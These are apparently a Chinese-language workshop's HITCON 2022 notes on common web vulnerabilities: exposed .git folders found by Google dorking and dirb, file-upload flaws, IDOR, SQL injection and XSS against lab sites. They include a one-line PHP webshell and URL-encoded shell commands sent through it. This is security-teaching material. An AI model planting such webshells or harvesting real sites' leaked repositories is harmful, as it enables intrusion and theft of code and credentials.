# 欸！原來這個網站有洞：手把手帶你認識網站常見漏洞 - 飛飛

{%hackmd @HITCON/r1cl60dRc %}

> 從這開始

[TOC]

程式碼 權限 資料

網站開發流程
如何部署、設置防火牆

# 駭客說我看得到你的程式碼
## 版本控制(git)
利用git來部署網站 ： if .git資料夾遺留
- Google hacking
google 搜尋 `intitle:index of ".git"` 可以找到洩漏的 .git 資料夾
- intitle: 尋找網頁上的標題
- index of: 目錄遍歷
- site: 指定域名
- inurl: 針對url那內的關鍵字
- 掃描網站 -
- wordlist掃描
[dirb](https://ithelp.ithome.com.tw/articles/10216943)
dirb hxxps://jofefgrg
- githack 只有最新版本(https://github.com/lijiejie/GitHack)
- scrabble 有歷史紀錄(https://github.com/denny0223/scrabble)
-`git log` `git checkout + <hash>`
- dotgit 下載.git成zip
- 為什麼要找.git
利用.git/index 分析.git/object
- search for:
- hardcode
- password/account
- code review(search for OWASP top10)
- php版本過低 -> search for CVE

## Lab0 https://lab.feifei.tw/practice/hitcon/l1.php
- use dotgit and dirb
>apt install dirb

dirb 有內建字典檔, 可以翻翻字典檔的內容了解常見的漏洞

- ssh root@34 .80.81.76 -p \<port>
>用root的身份連線到34.80.81.76 再連線到自己的port 使用上面的kali linux
- dirb \<url>

- 工具下載 scrabble
>git clone https://github.com/denny0223/scrabble

- cd scrabble
- 下載.git
- git log
>HEAD : 現在只指定到的版本
- git checkout
- cat Readme.txt

### 上傳漏洞
- 網站有上傳檔案功能
- 上傳照片, 圖片
- 後端沒有進行過濾
- 資料夾有執行權限
- 知道檔案路徑

上傳webshell
- github : webshell
w734k
一句話

//LAB1 https://rcelab.feifei.tw/up/l1.php
ls%20/
ls%20-al%20/

https://rcelab.feifei.tw/up/upload/0819.php?meow=ls%20-al%20/
<?php system($_GET['meow']);?>

### 越權 ： 媽媽要10塊的故事
IDOR [Insecure direct object reference - Wikipedia](https://en.wikipedia.org/wiki/Insecure_direct_object_reference)
- 觀察參數變化
- 嘗試修改流水號+1-1

### SQL Injection : 存錢
找到可以輸入的地方
...

tool : SQLmap

## 為什麼駭客說他有管理員的權限
- 弱密碼
// lab2
- XSS
執行你自己寫的javascript
偷管理員cookie
// lab3

###### tags: `HITCON2022`,`HITCON`

- 註冊 LAB
- https://lab.feifei.tw
- 不用常用的密碼
- 認領機器
- https://docs.google.com/spreadsheets/d/1S6qZ8V2aidTVl0mavur496yGiviHnluy0rAT009q5lg/edit?usp=sharin

https://lab.feifei.tw/practice/hitcon/l1.php
> 怎麼看檔案？用貓咪看

例如

> [name=feifei]